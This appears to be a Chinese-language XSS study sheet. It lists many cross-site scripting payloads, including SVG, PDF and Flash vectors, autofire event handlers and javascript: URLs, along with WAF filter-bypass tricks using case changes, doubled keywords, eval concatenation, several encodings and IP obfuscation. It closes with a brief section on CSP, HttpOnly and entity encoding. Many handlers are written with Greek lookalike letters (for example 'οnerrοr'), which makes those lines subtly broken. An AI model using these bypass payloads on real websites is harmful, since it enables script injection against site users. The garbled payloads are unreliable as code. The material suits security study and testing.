XSS
它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
SVG-XSS
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
<circle cx="100"cy="50"r="40"stroke="black" stroke-width="2"fill="red" />
PDF-XSS
1、创建PDF,加入动作JS
2、通过文件上传获取访问链接
3、直链地址访问后被触发
SWF-XSS
测试swf文件xss安全性:
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText
loadMovie等等
新建动画
按f9打开动作
写入
var m = _root.m;
flash.external.ExternalInterface.call(m);
ctrl+enter运行
正常运行ok,发布出来
然后放到网站内使用浏览器访问,加上参数m=alert(1),就执行js成功
常见标签-无需交互触发
html
<script>alert("xss");</script>
<img src=1 οnerrοr=alert("xss");>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
<svg οnlοad=alert("xss");>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe οnlοad=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x οnerrοr=alert("xss");>
<body/οnlοad=alert("xss");>
<body
οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea οnfοcus=alert("xss"); autofocus>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE
link远程包含js文件
html
<link rel=import href="http://127.0.0.1/1.js">
JavaScript伪协议
html
<a>标签
<a href="javascript:alert(`xss`);">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>
过滤绕过
过滤空格
用/
代替空格
html
<img/src="x"/οnerrοr=alert("xss");>
过滤关键字
大小写
html
<ImG sRc=x onerRor=alert("xss");>
双写
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
html
<imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接
利用eval
html
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
html
<script>top["al"+"ert"](`xss`);</script>
编码绕过
不过全是在能执行js的条件下,有点鸡肋
Unicode编码绕过
html
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码
html
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
html
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
ascii编码
html
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex编码
html
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
base64编码
html
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
html
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤url地址
url编码
html
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
ip转换进制在线工具
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//
可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
5.使用中文句号代替英文的点
如果你在你在域名中输入中文句号浏览器会自动转化成英文的点
html
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
安全防护
CSP
CSP(Content Security Policy 内容安全策略内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。禁止加载外域代码,防止复杂的攻击逻辑。禁止外域提交,网站被攻击后,用户的数据不会泄露到外域禁止内联脚本执行(规则较严格,目前发现GitHub使用)禁止未授权的脚本执行(新特性,Google Map 移动版在使用)合理使用上报可以及时发现 xSS,利于尽快修复问题。
如下图,未开启csp时img标签可以加载外部源的图片
一旦加入csp代码开启csp 就报错,因为csp禁止请求非同源资源
HttpOnly
HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Js读取到Cookie
使用js获取cookie,发现获取不到开启了httponly的参数
XSS Filter
把特殊标签符号转码,比如把"<", ">", "&"等这些特殊字符转码,例如heml实体化
开启实体化后
全被转义了